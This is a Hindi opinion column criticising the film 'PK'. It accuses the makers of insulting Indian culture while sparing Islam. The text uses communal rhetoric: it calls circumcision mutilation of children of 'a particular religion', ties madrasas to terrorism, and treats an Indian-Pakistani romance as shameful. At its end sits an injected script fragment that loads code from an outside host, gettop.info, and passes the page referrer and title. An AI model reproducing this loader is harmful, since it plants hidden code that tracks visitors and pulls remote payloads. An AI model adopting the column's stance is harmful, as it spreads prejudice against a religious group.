भारतीय संस्कृति की चिंता छोड़ “शाहबानों-पीर-फ़कीरी” पर भी कैमरा घुमाओं


सर्वेश सिंह

 

imagesबाहरी ग्रहों से आतीं उड़नतश्तरीयों का बड़ा ही खूबसूरत फिल्मांकन होता है हालीवुड फिल्मों में | बेहद भव्य और अर्थपूर्ण होती हैं वे | ” दि इंडिपेंडेंस डे” हो या “मार्स अटैक”- एक सफल कल्पना और वैज्ञानिक अंतर्दृष्टि के साथ फिल्म के दृश्यों का तानाबाना बुना जाता है | ऐसा कि  बस देखते ही रह जाएँ |
पर बालीवुड की “पीके” फिल्म को ऐसी सुबोध कल्पनायें पसंद नहीं | उसमें एक भव्य उड़नतश्तरी से एक नंगा आदमी बाहर निकलता है | वह स्क्रीन पर सामने आता है | पर संकोची कैमरा पेट के नीचे नहीं उतरता | लेकिन वहीं, पीछे से उसके नितंब को वही कैमरा बेतरह फोकस करता है | अजीब शै है की आखिर नितंब को ही क्यों ? सामने के गुप्तांग को क्यों नहीं ? क्या उसे दर्शक नहीं देख सकते ? या फिर कैमरा ही पर्दे के पीछे कुछ छिपाना चाहता है ?
फिल्म के सन्देश पर इतनी हाय-तौबा मची है | पर मैं चाहता हूँ की आप इसी सीन पर थोड़ी देर रूकें और सोचें |
वह गुप्तांग आखिर कैमरे से क्यों ओझल किया गया ? क्या उसमें कुछ गलत और विकृत था ? क्या कोई मजहब उसे विकृत नहीं करता ? क्या सुन्नत, खतना किसी मजहब की प्रथा नहीं है ? क्यों नहीं यहीं पर एक फ्लैश बैक रचा गया और पीछे जाकर एक विशेष मजहब के अबोध बच्चों के छोटे छोटे कोमल शिश्नों को धारदार चाक़ू से कतरते दिखाया गया ? क्या दर्शक इसे नहीं झेल सकते थे ? क्यों नहीं फिल्म के सन्देश यहीं से शुरू हो सकते थे ? कल्पना बहुत आगे जाकर एक ख़ास धर्म को उघाड़ने में ही क्यों अचानक खुल उठती है ? ठीक इसी जगह पर क्या पीके की सिनेमैटिक कल्पना खंडित और पूर्वाग्रही नहीं नजर आती ?
एक अभिनेता के रूप में आमिर खान के सामने भी आत्मविश्लेषण का यह एक स्वर्णिम अवसर था पर वे भला क्यों चूक गए ? आखिर कोई भी कला और कलाकार खुद को सवाँरे बिना जिन्दगी को कैसे सवाँर सकता है ?
लेकिन आईने में अपनी सूरत देखने वाले लोग कोई और होते हैं ! यहाँ तो मामला पैसा कमाने और कपटपूर्ण विचारधारा का है | इसीलिए आगे दिखता है तो एक कसरती और कलात्मक नितंब- जैसे की मान लिया गया है की उसे लोग चौंंधियाई आँखों से देखेगें | यह पूरा दृश्य काफी देर तक चलता है | यह नितंब दर्शकों को चिढ़ाता सा प्रतीत होता है |
यह नितंब देख मुझे शकीरा का गाना याद आता है- हिप्स डोंट लाई अर्थात नितंब झूठ नहीं बोलते | मनुष्य झूठ बोल सकता है पर नितंब नहीं | यही हालीवुड का नूतन कला शिल्प है | आमिर ने और फिल्म के लेखक-निर्देशक ने इसी शिल्प को लपककर पकड़ लिया | उनकी कल्पना ने उस वैज्ञानिक दृष्टि को नहीं बल्कि नितंब को पकड़ा | वाह रे सिनेमाई दृष्टि ! पीछे का दिखाओगे पर आगे का नहीं !!
अब आगे और क्या कहें ! पूरी फिल्म में यह नितंब मुझे चिढ़ाता सा लगा | मैं अभी भी सोच रहा हूँ कि पीके के सामने के गुप्तांग को न दिखाकर आखिर यह फिल्म क्या छुपाना चाह रही है ? फिल्म के अंत में पीके मजबूरन एक मात्र झूठ बोलता है किन्तु फिल्म के अभिनेता, निर्माता,लेखक और निर्देशक, एक मजहब विशेष में, मनुष्य के प्राकृतिक रूप के साथ बचपन में ही हो रहे इतने बड़े खिलवाड़ को, नजरअंदाज कर भला कैसे आगे बढ़ गए, यह समझ से कोसों दूर है | और ठीक इसी बिंदु पर यह पूरी फिल्म अवास्तविक, अव्यहारिक, और विचारधारात्मक पूर्वागह से ग्रस्त नजर आती है |
समझ से यह भी परे है की पाकिस्तान, जो की भारत का एक प्रत्यक्ष शत्रु है, के एक लड़के के साथ भारत की एक लड़की के प्रेम सम्बन्ध को फिल्म में क्यों जस्टीफाई किया जाता है | क्या 26/11 के बाद कल्पना में भी कोई भारतीय यह सोच सकता है ? माना की सिनेमा में घटनाएँ काल्पनिक होती हैं लेकिन क्या कल्पना में भी आज आप हिंदुस्तान की किसी लड़की को प्रेम में इतनी दीवानी दिखा सकते हैं की वह अपना मायका जलाने वाली ससुराल को राजी ख़ुशी स्वीकार कर ले ? तो क्या देश की दुर्दशा से भी सिनेमा की कल्पना ऊपर है ? ऐसी कल्पना करने वालों को क्या लाज नहीं आती ?
जाहिर है की अगर बेशर्मी से यह सब आप दिखा सकते हैं तो आप अभिनेता, लेखक, निर्माता और निर्देशक नहीं बल्कि, पीके की भाषा में ही कहें तो, लुल्ल हैं | लोग देख रहे हैं क्योंकि अपनी आलोचना सहने की शक्ति उन्हें उनके धर्म ने ही दी है | images1
यह सही है की सिनेमा मनोरंजन का एक जबरदस्त माध्यम है | धर्मों की कूपमंडूकता पर प्रहार भी जरूरी है | पर लगता है कि कुछ सिरफिरे अब उसका विचारधारात्मक और आतंकी इस्तेमाल कर रहे हैं | जबकि दुनिया भर में फैलते जा रहे जेहादी नेटवर्क, ISIS की अमानवीय क्रूरता, नाइजीरिया में बोको हरम की पाशविकता, पेशावर काण्ड में छोटे-छोटे बच्चों की निर्मम हत्या, और फ़्रांस के “शार्ली आब्दो काण्ड” के बाद के इस भयानक माहौल में किसी भी काल्पनिक कला के लिए कोई दूसरी प्राथमिक जगह दिखाने के लिए बची रह गयी है क्या ?

क्या पीके “शाहबानों प्रकरण”, इस्लामिक मदरसों से फैलता आतंकवाद” पर फ़िल्म बनाने का साहस कर सकते हैं अथवा पीर-फ़कीरी द्वारा फैलते ढोंग पर भी कोई चुटीली फ़िल्म बनाने का साहस सकते है ? यदि वो ऐसा कर पायें तो हम आमिर का समर्थन करेंगे | अन्यथा वो भारतीय संस्कृति को बेवजह अपमानित करना बंद करें |s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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